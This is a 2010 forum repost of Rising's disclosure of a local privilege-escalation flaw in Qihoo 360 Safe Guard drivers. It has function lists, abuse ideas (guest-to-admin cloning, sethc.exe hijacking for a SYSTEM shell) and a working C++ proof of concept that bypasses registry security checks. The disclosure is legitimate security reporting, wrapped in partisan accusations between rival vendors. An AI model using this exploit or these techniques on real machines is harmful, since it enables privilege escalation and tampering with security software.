海盐论坛

海盐论坛 » 【电脑网络】 » 瑞星近日爆360的本地提权漏洞,原理及演示程序

论坛跳转:

上一主题|刷新|下一主题 7352
发表一个新帖子 发表回复
标题 瑞星近日爆360的本地提权漏洞,原理及演示程序 在百度搜索本主题 [ 搜 ] 简洁版本  通过电子邮件发送此页面  添加加到IE收藏夹  报告本帖 

管理员 双鱼座
查看APOLLO 发送短讯息给APOLLO 把APOLLO 发送电邮给APOLLO 访问APOLLO 引用回复这个帖子 回复这个帖子 点击这里给我发消息 楼主
网站管理员
APOLLO
APOLLO的个人头像
等级 管理员
精华 1
积分 0
帖子 1906
经验 2718
金币 2025
状态 离线
注册 2006年4月6日
瑞星近日爆360的本地提权漏洞,原理及演示程序

近日,360产品陆续出现严重缺陷:2月1日360安全卫士被爆存在“本地提权”漏洞,截止到2月3日11 时,其产品并未修复,而官方宣称已修复(见 360 的官方报道 http://bbs.360.cn/3229787/34800737.html?recommend=1)。随后奇虎360安全卫士又被曝出给用户电脑安装“后门”,任意读取用户隐私文件。问题暴露后,奇虎360不但没有承认自身问题,反而通过删除网络新闻、个人博客、威胁媒体、枪手发帖等手段欺骗用户,掩盖事实真相、混淆视听。瑞星公司本着对所有360用户安全负责的态度,现公布360 “后门”部分技术细节,请奇虎360尽快停止安装“后门”,停止侵害用户权益的行为。

  请奇虎 360 公司以严谨的态度尽快面对以下问题。第一:请对 360 安全卫士存在的“后门”进行解释;第二:对 2 月 1 日公布的 360 安全卫士“本地提权”漏洞仍未修复,却在官方宣布已经修复的问题做出解释;第三:请尽快对以上两大严重产品缺陷进行修复。

  360 安全卫士“后门”细节分析

  360 安全卫士后门程序涉及的主要文件是:在安装进入系统时自带的驱动文件 bregdrv.sys 、 bfsdrv.sys ,以及对这两个驱动文件调用的动态链接库 bregdll.dll 、 bfsdll.dll 。

  bregdrv.sys : 360 内核模式驱动,该驱动程序通过调用操作系统的未公开 CmXxx 系列函数来操作注册表,另外由于操作系统内部本身维护了很多同步数据、缓存数据, 直接调用 CmXxx 系列函数操作注册表极有可能造成系统内部数据不同步,严重影响系统安全性,甚至可能导致用户正常数据丢失;

  bregdll.dll :用户态动态库,该动态库封装了对 bregdrv.sys 的调用,为用户态程序提供注册表操作后门的接口;该动态库仿照 Windows 操作系统 API 接口(加 B 作为前缀)导出了如下注册表操作函数, 但与 Windows API 不同的是, bregdll.dll 导出的函数在实现上绕过了操作系统的所有安全检查,直接调用极为低层的未公开 CmXxx 系列函数实现 :

  1.BRegCloseKey 2.BRegCreateKey 3.BRegCreateKeyEx 4.BRegCreateKeyExW

  5.BRegCreateKeyW 6.BRegDeleteKey 7.BRegDeleteKeyW 8.BRegDeleteValue

  9.BRegDeleteValueW 10.BRegEnumKey 11.BRegEnumKeyEx 12.BRegEnumKeyExW

  13.BRegEnumKeyW 14.BRegEnumValue 15.BRegEnumValueW 16.BRegOpenKey

  17.BRegOpenKeyEx 18.BRegOpenKeyExW 19.BRegOpenKeyW 20.BRegQueryValueEx

  21.BRegQueryValueExW 22.BRegSetValueEx 23.BRegSetValueExW

  360 后门部分功能代码截图一

 

  通过 CmDeleteKey 实现注册表键值的删除操作

  bfsdrv.sys ,该驱动程序通过直接向文件系统发送 I/O 请求包( IRP )来实现文件操作,这种方式可以绕过基于过滤驱动的文件监控(包括卡巴斯基、诺顿等安全软件)。 由于该程序没有对调用者进行检查,导致可以被任意程序(如各种木马程序等)利用达到修改、删除用户正常文件的目的。

  bfsdll.dll :用户态动态库,该动态库封装了对 bfsdrv.sys 的调用,为用户态程序提供文件操作后门的接口;该动态库仿照 Windows 操作系统 API 接口(加 FS 或 Bfs 作为前缀)导出了如下文件操作函数, 但与 Windows API 不同的是, bfsdll.dll 导出的函数在实现上绕过了所有文件系统上层的过滤驱动,直接向文件系统发送 I/O 请求包实现 :

  1.BfsMoveFileExW 2.FSCloseHandle 3.FSCopyFile 4.FSCopyFileW

  5.FSCreateFile 6.FSCreateFileW 7.FSDeleteFile 8.FSDeleteFileW

  9.FSFindClose 10.FSFindFirstFile 11.FSFindFirstFileW 12.FSFindNextFile

  13.FSFindNextFileW 14.FSGetFileAttributes 15.FSGetFileAttributesEx

  16.FSGetFileAttributesExW 17.FSGetFileAttributesW 18.FSGetFileSize

  19.FSGetFileSizeEx 20.FSGetLongPathName 21.FSGetLongPathNameW

  22.FSGetShortPathName 23.FSGetShortPathNameW 24.FSPathFileExists

  25.FSPathFileExistsW 26.FSPathIsDirectory 27.FSPathIsDirectoryW

  28.FSReadFile 29.FSSearchPath 30.FSSearchPathW 31.FSSetFileAttributes

  32.FSSetFileAttributesW 33.FSSetFilePointer 34.FSSetFilePointerEx 35.FSWriteFile

  上述 API 均通过 DeviceIoControl/NtDeviceIoControlFile 来调用驱动提供的不同文件操作功能,这些操作均会绕过基于过滤驱动的文件监控。

  360 后门部分功能代码截图二

 

bfsdrv.sys 写文件操作代码截图

  360 安全卫士没有遵循正常的操作系统安全机制,却直接绕开了系统安全检查机制。其不仅具有“后门”功能,而且该程序存在重大安全隐患,利用此程序不需要任何身份认证,可轻易被黑客利用窥视用户隐私、读取、修改或删除用户电脑中的所有文件和注册表信息。

  例如,任意普通用户可以在低权限的情况下实现删除系统安装的安全软件,隐藏自己的恶意程序。而通过 bregdrv.sys 对注册表的操作,可以利用其在系统底层任意操作注册表的权限,达到更多的目的,如:

  l 通过修改注册表存储的用户信息,将 guest 用户激活并克隆成管理员,但是在系统表面看来, guest 用户仍然是被禁用的。

  通过修改注册表实现映像劫持,将 sethc.exe (系统粘滞键功能)替换成 cmd.exe ,这样就可以实现在登录界面上按 5 下 shift 键直接呼出一个系统权限的 cmdshell 窗口,执行任意指令。

 

 

 

 

 


奇虎360安全卫士存在本地提权漏洞后门利用程序(C++)
复制内容到剪贴板代码:

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);


BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;


#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"


#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"


#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"


BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;


         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;


         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
         if (FAILED(lResult))
                  return FALSE;


         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;


         strcat(cPath, "\\deepscan\\BREGDLL.dll");


         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;


         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");


         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }


         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }


         return TRUE;
}


LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
         return 0;
}


海盐阿波罗(大菠萝) TEL:86306068 13666722388 QQ:9103957 MSN:hyapollo@msn.com

http://www.okhy.com 海盐之家QQ群:1110921 海盐新闻 RSS http://www.okhy.com/xml.asp
发表时间 2010-2-4 16:30:58
帖子管理 IP 已记录 点击返回顶部
海盐绿色信息联盟站   浙ICP备05015835号   嘉兴网警在线报警
Powered by OKHY.COM © 2006 海盐之家 All rights reserved 官方QQ群1110921点击这里加入海盐之家QQ群
页面执行耗时 15 毫秒, 11 次数据库查询

所有时间为GMT + 8, 现在时间是2025-5-3 22:15:17  网站所有 清除 Cookies - 联系我们 - 免责声明 - 海盐之家旗下站点